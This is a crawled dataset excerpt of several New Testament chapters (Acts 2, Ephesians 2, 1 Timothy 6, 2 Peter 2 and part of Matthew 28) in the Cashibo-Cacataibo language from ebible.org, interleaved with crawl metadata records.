Diosan baísquimiaxa, uisatimoia tsónun. Ax asaribi cushiira 'icëa uinu 'icë unínbi ashiquin bamamisama 'icë ca Nucën Papa Diosan aín Bëchicë baísquimiaxa. 25 David ax ca Jesús ñui ësai quiacëxa:\n'Ën cana Nucën 'Ibu 'ëbëbi 'ia isan. 'Ëx racuëti masá nuitununma ca ax 'ën mëqueu 'icën. 26-27 Usa 'ain cana chuámashirua tani cuëëni bana upitainshi banan. 'Ëx bamaxbi anu uni bamatancëx aín bëru ñumshin 'icë, anu 'ën bëru ñumshin 'inun camina ëntima 'ain. Usoquin camina, minan 'icë upí isquin bamacëbi 'ën namicama chëquinun 'ë 'imitima 'ain. Usa cupí cana, bamaxbi cana baísquiti 'ai quixun sinani mimi catamëti cuëënin. 28 Min camina upí nuituñu 'aish chuámashirua tsónun 'ë 'unánmian. Usa 'ixun camina 'ëbë 'ixun chuámashirua tani cuëënun 'ë 'imiti 'ain.\nUsai quiquin ca David an Jesús ñuiquin cuënëocëxa.\n29 'Ën xucë́antu, asérabi ca nucën rara, David, bamatancëx me quininu mëníocë 'iacëxa. Usoquian anu 'acan ax ca bërí nëtë́nbi anu 'icën. 30 David, ax ca an Nucën Papa Dios quicë bana unicama ñuixuncë 'iacëxa. Usa 'ixun ca paránuxunma Nucën Papa Diosan —min rëbúnqui achúshinëx ca judíos unicaman 'apu, Cristo, 'inuxun 'aia —quixun cá bana a 'unáncëxa. 31 Usa 'ixun ca David an bëráma 'unánxun 'acësoquin, aín rëbúnqui Cristo axa bamatancëx baísquiti a ñui, bamatancëxbi ca aín bëru ñumshin anu uni bamacëcama cuancë, anu ëncëma 'ianan aín namicamaxribi chëquitima 'icë quixun ñuiacëxa. 32 Davidnën cuënëo bana quicësabi oquin ca Nucën Papa Diosan Jesús bamacëbi baísquimiaxa quixun cananuna nucamanbi 'unan. 33 A ca Nucën Papa Diosan abë 'Apu 'iti aín cushínbi baísquimiquin an cásabi oquin aín Bëru Ñumshin Upí 'inánxa. Usa 'ain ca ami mitsun isanan cuacë ñucama, ënëx aín Bëru Ñumshin Upitan 'imicëx ësai 'ia. 34-35 David ax ca naínu cuanma 'icën. Naínu cuanxunmabi ca an ësai quicë bana cuënëocëxa:\nNucën 'Ibu Diosan ca 'ën 'Ibu Cristo caxa: Axa mimi nishcë unicama 'ën mi 'ibuamimainun camina 'ën mëqueu 'ianan 'ëbë 'apu 'iti 'ain.\n36 Usa 'ain camina mitsux Israel unicama 'ixun asérabi 'unánti 'ain, mitsúnmi i curúsocënu matásmicë, a Jesúsbi ca Nucën Papa Diosan nucën 'Ibu 'imianan axa utinu nun caíncë, Cristo, a 'imiaxa.\n37 Ësoquian cacëxun cuati —'atimabi cananuna 'a —quixun sinani ratúquin ca Pedrocëñun abëa 'icë unicama ñucáquin cacancëxa:\n—'Ën xucë́antu, 'atimabi cananuna usoquin a 'an. ¿Upí 'inux caranuna bërí uisai 'iti 'ain?\n38 Cacëxun ca Pedronën atu cacëxa:\n—'Atimoquin sinánxunbi camina sinanaquin, upí oquin Nucën Papa Diosmi sinánti 'ain. Usai 'itancëx camina mitsun 'uchacama tërë́ncë 'inun Jesucristomi catamëti nashimicë 'icanti 'ain. Usai 'icëbëtan ca Nucën Papa Diosan aín Bëru Ñumshin Upí abëmi 'inun mitsu 'inánti 'icën. 39 Ënë banacamax ca mitsu 'imainun mitsun bëchicëcama 'imainun bëtsi unicamanribi cuati oquin Nucën Papa Diosan mënío 'icën. Amia sinánmisa tancë unicamanribi cuati oquin ca usoquin mëníocëxa.\n40 Usoquin canan ca bana raíriribi ñuixunquin Pedronën 'ësëquin cacëxa:\n—Ënë nëtënu 'icë unían a 'unáncëma 'aínbi camina mitsux Jesucristomi sinanati Nucën Papa Diosnan 'inux ië́ti 'ain.\n41 Usaquian Pedronën cacëxun cuaquin ca 'itsa unin —asérabi ca a bana 'icë —quixun sináncëxa. Sinani ca a nëtë́nbi nashimicë 'aish tres mil uniribishi axa Jesúsmi sináncë unicamabë 'iacëxa. 42 Usai 'itancëx ca an bana ñuixunuan Jesusan caíscë unicaman bana ñuia cuaquin upí oquin sinani camáxbi nuibanancëxa. Nuibanani ca camabi nëtën timë́quin, ënima Nucën Papa Diosbë bananan pán tëcë́npaxun pi, camáxbi achúshinën sinánsashi 'aish a ëmanu bucüacëxa.\nAxira pain Jesucristomi sináncë unicamaxa usai 'iá\n43 Usa 'ain ca atun 'aia isía, a ëmanu 'icë unicamax ratúmainun aín bana ñuixunuan Jesucristonën caíscë unicaman uni itsin 'acëma ñu 'acëxa. 44 Usomainun ca axa —asérabi ca Jesusan cushínbi ñu 'aia —quixun sinani Jesucristomi catamëcë unicamax bëtsibë bëtsibë nuibanani camáxbi ñuñu 'inux atun ñu 'inánani 'aquianancëxa. 45 Usai 'iquin ca atun ñu maruanan aín me maruxun curíqui bixun ñuñuma unicama 'ináncëxa. 46 Camabi nëtën anuxun Nucën Papa Dios rabiti xubunu a rabinux timë́anan ca atun xubunuribi timë́xun Jesúsmi sinánquin tëcë́npaxun pán pianan bëtsi ñuribi piquianani cuëëni bëtsibë bëtsibë nuibanancëxa. 47 Usaía 'ia isquin ca axa atubë timë́cëma unicaman —atux ca asérabi upí nuituñu 'icë —quixun sináncëxa. Sinania ca uicamax cara ainan 'iti 'icë acamaxa Jesucristomi sinánun Nucën 'Ibu Diosan 'imiacëxa.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/ACT02.htm","date":"2022-01-19T08:48:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301264.36\/warc\/CC-MAIN-20220119064554-20220119094554-00279.warc.gz","language":"cbr","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000081062316895}","num_words":1226,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nAn nuibacë cupí ca uni Nucën Papa Diosnan 'ia quicë bana\n1 Mitsun ñu 'atima 'acë cupí ainanma 'aíshmi uni bamacësa 'icëbi ca Nucën Papa Diosan mitsu xënibua 'aínbi abë 'inun ainan 'imiaxa. 2 Ënë nëtënu 'icë ñuishia an sináncë unicaman sináncësa oquinshi sinánquin camina ñu 'aisama 'acën, ñunshin 'atimanën 'apu cuëëncësabi oquin. An ca an Nucën Papa Diosan bana cuaisama tancë unicama ax cuëëncësabi oquin 'anun sinánmia. Usaribiti camina mitsux an sinánmicë 'iacën. 3 Nunribi cananuna camaxunbi nun sináncësa oquinshi sinánan nun sinan 'atima 'ixun nux cuëëncësabi oquin 'acën. Usai 'icë 'aish cananuna raíri unicamasaribi 'aish numi nishquian Nucën Papa Diosan castícanti 'iacën. 4 Usai 'iá 'icëbi ca Nucën Papa Diosan nu 'aisamaira nuibaquin, 5 nux nun 'ucha cupínu ainanma 'aish bamacësa 'iá 'icëbi ainan 'aish upiti tsónun nu 'imiaxa, nuxribi bama 'aíshbi Cristobë baísquicësa 'inun. 6 Nux Cristo Jesúsbë baísquicësa 'inun 'imianan ca Nucën Papa Diosan nuxribi ënë nëtënuaxbi Cristo Jesúsbë, aín nëtënuribi abë 'inun nu 'imiaxa. 7 Jesucristonan 'aíshnu usai 'icë isquían camabi unin uisaira oquin cara an nu nuibatia quixun nëtë xënibucëbëtanbi isnun ca Nucën Papa Diosan usaínu 'inun mëníocëxa. 8 Nuibaquin ca asérabi cuëënquin mitsúxmi Cristomi catamëti cupíshi mitsu ainan 'inun ië́miaxa. Mitsúnmi ñu upí 'acë cupíma ca Jesucristo bama cupíshi Nucën Papa Diosan ax cuëënquinshi mitsu ainan 'inun ië́miaxa. 9 An ca an ñu upí 'acë cupí ainan 'inun uni ië́mima. Usa 'ain ca uinu 'icë unínbi —'ën upí ñu 'acë cupí cana ië́a —quixun rabíquin sinántima 'icën. 10 Cristo Jesús nubë 'inúan an 'imicëxun ñu upíshi 'anan nun sinan bëtsi 'inun ca an mëníosabi oquin nu 'imiaxa.\nCristo cupía judíos unicama 'icësaribiti judíosma unicamaribi Nucën Papa Diosnan 'iti\n11 Usa 'ain camina manútima 'ain, mitsux judíos unima, uni itsi 'aish camina axa 'unántioracacë judíos unicaman —a unibunëx ca 'unántioracacëma 'icë —quixun ñuicë 'iacën. 12 Judíos unima 'aish camina Cristo ñui quicë bana cuacëma 'iacën. Judíos unicaman 'unan 'aínbi camina mitsun Nucën Papa Diosan bana 'unáncëma 'ianan an Cristo ñuiquin Abraham cá bana a 'unáncëma 'iacën. Usa 'ixun camina Nucën Papa Diosan ca nuibaquin uni 'aquianan ainan 'imiti 'icë quixun 'unáncëma 'aish mitsux cuëëncësa oíshi tsóti sináncën. 13 Usai 'iá 'aíshbi camina camabi unin 'ucha cupía Cristo bama 'ain, ami catamëcë 'aish ainan 'ain. Usa 'aish camina Nucën Papa Dios 'unáncëma 'iá 'aíshbi bërí a 'unani ainan 'ain. 14 Cristonën ca judíos uni 'icësaribitia judíosma uniribi Nucën Papa Diosnan 'inun 'imiaxa, camáxbia raíri unisaribi 'inun. Judíos unicamaxa judíosma unicamabë nuibanancëma 'aish nishanancësa 'iá 'icë ca bërí Cristonën judíos uni 'imainun judíosma uniribia ainan 'aish camáxbi bëtsibë nuibananun 'imiaxa. 15 Ax camabi unin 'ucha cupí bamaquin ca Cristonën nux judíos uni 'ixun Moisésnën cuënëo bana quicësabi oquin 'acë cupíma ami catamëcë cupíshi Nucën Papa Diosnan 'iti mëníocëxa. Usouni 'icësaribitia judíosma uniquin ca nux judíos uni 'aish 'icësaribitimi mitsúxribi ami catamëcë cupí ainan 'inun 'imiaxa. Usa 'ain cananuna camáxbi ainan 'aish sënën 'ain. 16 Ax camabi unin 'ucha tërë́ncë 'iti cupí i curúsocënuax bamax baísquiquin ca Cristonën judíos unicama Nucën Papa Diosnan 'inun mëníocëxa. Usoquian 'acë cupí ca axa ami catamëcëcamax Nucën Papa Diosnan 'aish, judíosma unibë judíos uni nishánantëcëntima 'icën. 17 Ax ënë nëtënu utancëxun ca Cristonën bana ñuixunquin, camabi unix ca ami catamëti Nuncën Papa Diosan iscëx upí 'iti 'icë quixun cacëxa. Usa 'ain ca judíosma uni, an Nucën Papa Diosan bana 'unáncëma, 'imainun judíos uni, an Nucën Papa Diosan bana 'unáncë 'ixun a ñuia quicë bana cuati, Cristomi catamëti Nucën Papa Diosnan 'ia. 18 Usai Cristomi catamëti Nucën Papa Diosan Bëru Ñunshin Upíñu 'aish cananuna camáxbi, judíos uni ucën Papa Diosnan 'iti mëníocëxa. Usoquin ca nux judíos un'imainun judíosma uníxribi, Nucën Papa Diosbë banati 'ain. 19 Usa 'ain camina judíosma uni 'aíshmi Nucën Papa Dios 'unáncëma 'aish 'iásaribima 'ain. A ñuiquian Nucën Papa Diosan Abraham cá, Cristo, a camina mitsun bërí 'unanin. Usa 'ain cananuna mitsúxmi judíosma uni 'imainun nuxribi judíos uni 'aish, ainan cupí aín nëtënu abë 'iti 'ain. 20 Mitsux camina an aín bana uni ñuixunun Jesusan caíscë unicama 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicaman ñuiasabi oi, Jesucristomi catamëti ami cushicë 'ain. Usa 'aish camina unin maxax xubu oquin ami cushiti pain nantancëxun raíriribi bucúnrucësaribi 'ain, Cristo a pain nancë maxáxsa 'ain. 21 Amia catamëtia ca Nucën 'Ibu Jesucristonën aín unicama ax cuëëncësabi oía 'inun 'imia. Usaquin 'imicë́xa, asérabi ami catamëcë aín unicama abë ca Nucën Papa Dios 'ia. 22 Mitsun ëmanu 'icë axa Jesucristomi catamëcë unicamabëribi ca aín uni raíribëa 'icësaribiti Nucën Papa Dios 'ia, aín Bëru Ñunshin Upía aín unicamabë 'ain.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/EPH02.htm","date":"2022-01-21T23:39:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303717.35\/warc\/CC-MAIN-20220121222643-20220122012643-00114.warc.gz","language":"cbr","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000054836273193}","num_words":724,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\n1 An uni ñu mëëxuncë uni, ax Jesucristomi catamëcë 'ixun ca an ñu mëëmicë uni ñuiquinma upíxuinshi ñu mëëxunti 'icën, unían Nucën Papa Dios ñuianan aín banaribi 'atimaquin ñuiti rabanan. 2 A rabëtaxbi Jesucristomi catamëcë 'ixun ca an uni ñu mëëxuncë unin —an ë ñu mëëmicë uni cana upí oquin ñu mëëxunima —quixun sinántima 'icën. Usai 'iquinma ca an ñu mëëmicë uni axa Jesucristomi catamëcë 'aish aín nuibacë xucë́nsa cupí, bëtsi uni 'acësamaira oquin ñu mëëxunti 'icën. Usai 'inun camina camabi uni ñuixunquin 'unánmiti 'ain.\nJesucristomi catamëcë uni ñuñu 'iisa tani bënë́tima bana\n3 Ui unin cara unínbi sináncë bana uni 'unánmiquin Nucën 'Ibu Jesucristonën ñuicë bana, anun uni ië́ti, a 'imainun an sinánmicëxuan aín unicamanribi ñuicë bana cuaisama tania, 4 a unin ca rabiacaquinbi añu ñubi 'unáncëma 'icën. Usa unin ca abë cuëbicanantishi cuëënquin —usama ca, ësaira ca bana 'icë —quixun raíri unicama cuëbicananquinia. Usai 'i ca a unicamax nutsianan, nishánanan, ñuianani 'atimati banaia. Usa 'ixun ca uinu 'icë unínbi ca asérabi bana ñuima quixun sinania. 5 Usa 'aish ca a unicamax usaíshi 'iquin uisa ñu 'ati cara upí 'icë, uisa ñu 'ati cara upíma 'icë quixun 'unanima nëtëtima nishánani cuamianania. Usai 'icë unicaman ca Nucën Papa Diosan bana 'aquin isa unin curíqui biti 'icë quixun sinania. A unicamabë camina nitima 'ain. 6 Axa ñuñu 'iisa tani bënëtima Jesucristomi catamëcë uni ax cuni ca upí oquin sinani cuëënia. 7 Ñuñu cananuna bacë́anma 'ain. Usaribiquin cananuna bamaquianquin uisa 'ixunbi nun ñucama buaniman. 8 Usa 'ain cananuna pitiñu 'ianan chupañu 'aish cuëënquin 'aisamaira ñuñu 'iti sinántima 'ain. 9 Axa 'aisamaira ñuñu 'iti cuëëncë uni a ca ñunshin 'atimanën 'apun ñu 'aisama 'anun sinánmia. Sinánmicëxun ca a unicaman, uni sinánñuman 'acësaribi oquinshi 'ati 'icën. Atúan usoquin sináncë cupí ca an 'aisama ñu 'atishi sináncë unicamax, aín sinan ñancáishi 'aish xënibua 'aínbi Nucën Papa Diosbë 'itimoi bamanuxun 'aia. 10 Axa ñuñu 'ianan 'aisamaira curíquiñu 'iti cuëëncë uni an ca masáquin sinan sinánquin, uisa ñu cara upíma 'icë abi 'aisama sinánñu 'ixun 'aia. Usa 'ain ca raíri unin Jesucristomi sináncë 'ixunbi 'aisamaira ñu biti cuëënquin, Jesucristo manubianxun ñu 'aisama 'aia. Usa 'aish ca masá nuituti nitsia.\nJesucristonan 'ixun ñu 'atima 'ati sinánquinbi tënëti bana\n11 Uni raírinëan 'aisamaira ñuñu 'ianan curíquiñu 'iti cuëëncë cupí 'atima ñu 'acëbëbi camina mix Nucën Papa Diosmi catamëcë 'aish atumi 'unánti 'ain. 'Unánquin camina upí sinánñu 'ixun Nucën Papa Dios cuëëncësabi oquin 'anan, ami catamëti unicamabë nishánanima nuibananan, uisa ñu cara 'icëbëbi bënëtima 'ianan, rabitima cuëmëninishi banati 'ain. 12 Ñunshin 'atimanëan 'atimamitisa tancëxunbi tënëquin camina Nucën Papa Diosmi catamëcë 'ixun ax cuëëncësabi oquinshi ñu 'ati 'ain. Usoquin 'atancëxmi xënibua 'aínbi aín nëtënu abë 'inun ca an mi caísacëxa. Asérabi cana 'ëx usai 'i quiax camina 'itsa unían cuamainun quiacën. 13 Nucën Papa Dios, an camabi ñu unio, a 'imainun Jesucristo, Poncio Pilatonën ñucácëxun chiquinaquin —'Apu 'inux cana uacë —quixun cá, ax cuëëncësabi oquin cana mi cain, 14 Nucën 'Ibu Jesucristo utëcënti nëtë 'itámainuan xënibua 'aínbi uínbi min camina ñu 'atima 'acë quixun sinánti rabanan camina ñu 'aisama 'aquinma, 'ën mi cacë bana bëtsi oquinma ax quicësabi oquinshi 'ati 'ain. 15 Aín nëtëa sënë́ncëbëtan ca Nucën Papa Dios, ax achúshishi 'icëa camabi unin ashi rabiti, 'ianan cushiira cushi 'aish, 'apucaman 'Apu 'ianan 'ibucaman 'Ibu, anbi Nucën 'Ibu Jesucristo utëcënun xuti 'icën. 16 Nucën Papa Dios axëshi ca cëñutima usabi 'ia. Ax ca uíxbi bëbaquiantisama oquian pëcacë nëbë́tsi 'icën. Uínu 'icë unínbi ca a isáma 'icën. Istisama ca ax 'icën, uínbi ca a isima. Ax cushiira cushi 'icë ca xënibua 'aínbi camabi unicama 'imainun ángelcamanribi a rabiti 'icën. Usaquin ca 'ati 'icën.\n17 Axa Jesucristomi catamëcë uni, 'itsa curíquiñu 'imainun 'itsa ñuñu 'icë camina ësaquin cati 'ain: Curíquiñu 'ixun camina —'ëx cana ñuñuira 'aish bëtsi unisama 'ai —quixun sinántima 'ain. Curíqui 'imainun ñucamaxribi ca nëtë́ti 'icën. Usa 'ain camina min curíquimi catamëquin —uínbi ca 'ë uisoima, añu ñu carana 'aisa tani a cana 'ati 'ai —quixun sinántima 'ain. Usaquin sinánquinma camina Nucën Papa Dios an bamatimoi tsócë 'ixun, anun nux chuámarua bucunun camabi ñu nu 'ináncë, amishi catamëti 'ain. 18 Canan camina ësaquinribi atu cati 'ain, ënquinma upí ñuishi 'anan ca uix cara ñuñuma 'aish 'aquinsa 'icë aribi ñonquinma 'aquínti 'icë quixun. 19 Usoquin 'acë 'aish ca ñuñu uni ax Jesucristonën 'acësaribi oquin sináncë 'aish ënë menuxun pain Nucën Papa Dios cuëënmitancëx, bamatancëxribi xënibua 'aínbi chuámarua abë 'iti 'icën.\nAshia Pablonën Timoteo cá bana\n20 Timoteo, cana mi cain, bana itsi ñuixunquinma camina Jesucristo ñuicë banaishi bëtsi oquinma unicama ñuixunti 'ain. Jesucristo ñui quicë bana isa quixunbi ca bëtsi bëtsi unin asérabi a bana quicësa oquin ñuixunquinma bëtsi bana ñuia. A banax ca an ñu 'unáncë unicaman asérabi isa quixun ñuicë 'aíshbi ñancáishi 'icën. A bana camina cuatima 'ain. 21 Raírinën ca a bana cuaquin Nucën Papa Diosmi sinánti ëanxa.\nNucën Papa Diosan nuibaquin mi 'aquinmainun ca bërúanx 'it. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1TI06.htm","date":"2022-01-18T19:18:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00239.warc.gz","language":"cbr","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000054836273193}","num_words":779,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nAn Nucën Papa Diosan banama, bana itsi ñuixuncë uni ñui quicë\n1 Usa 'aínbi ca 'iacëxa, uni raíri, an —Nucën Papa Dios ca usai quia —quixun cëmëquin anbi sináncë bana nucën raracama ñuixuncë. Usaribiti ca an mitsu bana ñuixunti uni cëmëquin parani mitsubë 'iti 'icën. Atúnbi sinánxun ca Nucën Papa Diosan banamabi 'atima bana ñuixunquin, Nucën 'Ibu Jesucristo ami catamëtia uni Nucën Papa Diosnan 'iti, ami catamëaxma 'inun quixun ñuixunquin uni sinanamiti 'icën. Usaquin 'acë 'aish ca a unicamax bënëtishi cëñúti 'icën. 2 A unicaman 'aia isquin ca 'itsa unin usaribi oquin ñu 'atima 'ati 'icën. Atúxa usai 'icë cupí ca uni Jesucristo ñuicë bana ñui 'atimati banati 'icën. 3 A unicaman ca mitsun curíqui biti cupíshi cëmëquin paránquin Nucën Papa Diosan banamabi, anbi sináncë bana mitsu ñuixunti 'icën. Usaquian 'acë cupí ca ië́tima cëñúti 'icën, usai atux 'itia Nucën Papa Diosan mëníosabi oi.\n4 Nucën Papa Diosan ca axa 'uchacë ángelcama aín 'ucha tërë́nquinma aín nëtënua chiquínquin anúan an camabi uni isti nëtë utámainuan, anu atux tëmërai 'iti, bëánquibucënu manë risin tëcërëcacësa 'aish anubi 'inun 'imiacëxa. 5 Usaribi oquin ca Nucën Papa Diosan nëtë ióñu, an aín bana cuacëma unicama atun ñu 'atima 'acë tërë́nquinma camabi me mapumiquin baca cëñumiacëxa. Usonan ca an ami sinánun aín bana ñuixuncë, Noé, acëñun mëcën achúshi 'imainun rabë́ unishi Nucën Papa Diosan ië́miacëxa. 6 Usonan ca Nucën Papa Diosan ëma rabë́, Sodoma 'imainun Gomorra cacë, 'imainun anu 'icë unicamaribi atun ñu 'aisama 'acë cupí aín chimapuishi 'itánun nëancëxa. A bana cuatía an ñu 'atima 'acë unicama ñu 'atima 'atimi racuë́ti oquin ca Nucën Papa Diosan usoquin Sodoma 'imainun Gomorra 'acëxa. 7 Sodomacëñun Gomorra nënquinbi ca Nucën Papa Diosan Lot cacë uni, axa upí 'aish unicaman ñu 'atima 'aia isi masá nuitucë, a ië́miacëxa. 8 Ax atubë 'aish ca Lot aín nuitu upí 'aish a ëma rabë́nu 'icë unicaman ñu 'atima 'aia isanan cuati, camabi nëtën masá nuituacëxa. 9 A unicama atun 'ucha cupí Nucën 'Ibu Diosan 'atimocëbëbia Noé 'iásaribiti Lot ië́a, a sinánquin cananuna 'unánti 'ain, Nucën 'Ibu Diosan ca axa ami catamëti ax quicësabi oi 'icë unicama, uisa ñu cara 'icëbëtanbi ië́miti 'icë quixun. Usonan ca an ñu 'atima 'acë unicama ië́miquinma, anúan an camabi uni isti nëtë utámainun tëmëranun ënti 'icën.\n10 Nucën 'Ibu Diosan ca anbia masáquin sináncë 'ixun ñunshínquin 'atima ñu 'anan aín bana cuacëma unicama asérabi uisoquin cara 'ati 'icë usoquin 'ati 'icën. A unicaman ca rabínquinma ax cuëëncësa oquinshi ñu 'aisama 'anan, ami racuë́quinma Nucën Papa Diosan 'imicë 'icëbi unin cushicamaribi 'atimaquin ñuia. 11 Ax atubëtan sënë́nma 'aish cushiira 'ixunbi ca ángelcaman, axa usai quicë unicaman 'acësaribi oquin, cushicama 'atimaquin ñuiquin Nucën 'Ibu Dios caima.\n12 Ënë unicamax ca sinánñuma 'ixuan ñuinacan, uisa cara oia quixun sinánquinmabi, ñu 'acësaribi oquin 'anan ñuinanëxa mëraquian unin 'anúnbi nicësa, usaribi 'icën. Atux ca an 'unáncëma ñu ñui 'atimati banaia. Usa 'aish ca ñuina bamacësaribi bamati 'icën. 13 An bëtsi uni tëmëramicë cupí ca usaribiti tëmërai bamati 'icën. Atun ca —camabi nëtën nun cuëëncë ñu 'ai cananuna cuëëinshiti 'ai —quixun sinania. 'Aisama ñu 'atishi sináncë 'aish ca usai 'i cuëënia. Mitsux Nucën Papa Dios rabinux timë́cë 'ain, mitsubëtan pibi ca atux ñu 'atima 'ai cuëënia. Ax ca 'aisama 'icën. Usa 'aish ca a unicamax axa Jesucristomi sináncë unisama 'icën.\n14 Usa 'aish ca xanu isíma isímashi anun cuëënia, aín 'ucha ëníma ca amiribi amiribi 'uchaia. Atúxa 'icësaribitia 'inun ca axa Jesucristomi upiti sináncëma xanu 'imainun bëburibi sinánmia. Ax ñun cuëën 'aish ca 'itsa ñuñu 'iti cuëënia. A unicama ca Nucën Papa Diosan aín 'ucha cupí uisoquin cara 'ati 'icë, usoquin 'ati 'icën. 15 A unicaman ca Nucën Papa Diosan bana quicësabi oquin 'aquinma ñu 'atima 'aia. Usa 'aish ca Balaam, Beornën bëchicë, axa 'iásaribiti 'ia. Balaanën ca an Nucën Papa Dios quicë bana uni ñuixuncë uni 'ixunbi curíqui biti sinánxun ñu 'atima 'ati sináncëxa. 16 An cacëxunbia aín bana cuacëma cupí ca Nucën Papa Diosan, ñu 'atima 'axunma 'anun quixun anúan cuancë aín burro bëaracëxa. Bëaracëx Nucën Papa Diosan 'imicëx, uni 'icësari banaquin, ca aín burron Balaam sinanamiacëxa. A unicamax ca Balaam 'iásaribiti 'ia.\n17 Uni raíri 'aquincëma 'aish ca xëxá ësquiaxa 'unpáxñuma 'icësa 'ianan 'uí 'ibúnux nëtë bënamëtiabi suñun bëcacëx nëtë́cësa, usaribi 'icën. Usa 'aish ca anua atux tëmërai 'iti bëánquibucëira anu nëtë́timoi xënibua 'aínbi 'iti 'icën. 18 Usa unicaman ca axbi cërúanan rabiacati sinánñumasa 'ixun, an 'acësaribi oquian ñunshínquin ñu 'atima 'anun quixun, an ñu 'atima 'ati ëinsa tancë uni raíri sinanamitëcënia. 19 Usoquin 'aquin ca caia, uisari caramina 'iisa tani usai camina 'iti 'ain. Usaími 'iabi ca Nucën Papa Diosan mi uisabi oima. Usai quicë 'ixunbi ca atun ñu upí 'aisa tanquinbi 'atima 'icën, atun sinan upíma 'ixun. Aín sinan upí 'ixun ca unin aín 'acësabi oquin upí ñu 'aia. Usa 'aínbi ca aín sinan 'aisama 'ixun unin usabi 'atima ñu 'aia. 20 Ënëx ca ësa 'icën: Ui unicaman cara Nucën 'Ibu Jesucristomi catamëquin ñu 'atima 'ati ëncë 'ixunbi amiribishi ñunshínquin ñu 'atima 'atëcënia, a unicamax ca bëráma 'iásamaira 'inun 'uchaia. 21 Jesucristomi catamëcë 'ixunbi ëncë 'aish an 'unáncëma unicamax 'icësamairai 'uchatima cupí Jesucristomi sinanima 'itibi ca a unicama 'ia. 22 Usaquian upí 'iti ëncë unicamax ca unia ësai quicësa 'icën: \"Camunan ca quinántancëxunbi amiribishi aín quinan pitëcënia. Usaribiti ca cuchi nashitancëxbi me chabánu racátëcëni chuatëcënia\".","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2PE02.htm","date":"2022-01-28T19:43:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00348.warc.gz","language":"cbr","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000075101852417}","num_words":846,"character_repetition_ratio":0.098,"word_repetition_ratio":0.002,"special_characters_ratio":0.217,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nJesús baísquia\n(Mr 16.1-8; Lc 24.1-12; Jn 20.1-10)\n1 Anun ñu mëëtima nëtë ñantabuonxa pëcaracëma 'aínshi ca María Magdalena 'imainun María itsi anu Jesús mëníocë isi cuantëcëancëxa. 2 Cuanxa bëbacëbëbi ca mecama cushíinra shaíquiacëxa. Shaíquicëbëtan ca ángelnën Nucën 'Ibu Diosan xucëx uquin, anúan anu Jesús 'icë quini xëpucë maxax cha taranacëxa. Usotancëx ca anu tsóbuacëxa. 3 A ángelnëx ca caná mëritia iscësa 'ianan aín chupa uxuira uxu 'iacëxa, matsi uxuira iscësaribi 'iacëxa. 4 Usa 'icë isi ca anu 'icë suntárucamax 'aisamaira racuëti bërëi bamacësa 'iacëxa. 5 Usaría suntárucamax racuë́mainun ca ángelnën xanu rabë́ cacëxa:\n—Racuë́axma ca 'it. Cana 'unanin, mitsun camina Jesús, a i curúsocënu matásëxancë, a barin. 6 Ax ca ënuma 'icën. Axa quicësabi oi ca baísquiaxa. Anua unin racáënxancë ca isi ut. 7 Istancëx bënëtishi cuanxun camina aín 'unánmicë unicama ësaquin cati 'ain: Jesús ca bamaxbi baísquiaxa. Ax pain ca Galilea menu cuania. Mitsúnribi camina anu cuantancëxun anuxun a isti 'ain. Ësaquin mitsu canux cana ënu 'ain.\n8 Usaquian ángelnën cacëxun, asérabi ca Jesús anuma 'icë quixun istancëx ca quininuax chiquíquiani racuëtibi cuëënquiani aín 'unánmicë unicama ñuixuni abáquiani cuancëxa. 9 Bain abáquiani cuanquinbi ca Jesús aia isacëxa. A isia ratutia ca Jesusan —¿caramina ain? —cacëxa. Cacëx a tanáin rantin puruni tsóbuquin ca Jesús tamëëquin rabiacëxa. 10 Rabicëxun ca Jesusan cacëxa:\n—Racuë́axma ca 'it. Cuanxun camina Galileanua cuanun 'ën xucë́antu cati 'ain. Anuxun ca 'ë isti 'icën.\nSuntárucaman judíos unicama ca\n11 Jesús isbiania, a xanu rabëtax aín 'unánmicë unicama cai cuantamainun ca an anu Jesús mëníocë me bërúancë suntárucama raírinën Jerusalénu cuanxun judíos sacerdotenën cushicamanu cuanxun atúan iscë ángel 'imainun Jesús 'aíma 'icë, acama ñuiquin cacëxa. 12 Usoquian cacëx ca 'apucamax uni caniacëcëcamabë bananux timë́acëxa. Timë́ax acamaxbi banaquin ca uisoti cara quixun sináncancëxa. Sinani canantancëxun ca suntárucama 'itsaira curíqui 'inánquin cacëxa: 13 —Mitsun camina \"nuxnu 'uxan ca imë́, aín 'unánmicë unicaman bibianquin Jesús buánxa\" quixun paránquin unicama cati 'ain. 14 Usoquinmi cacëxuan 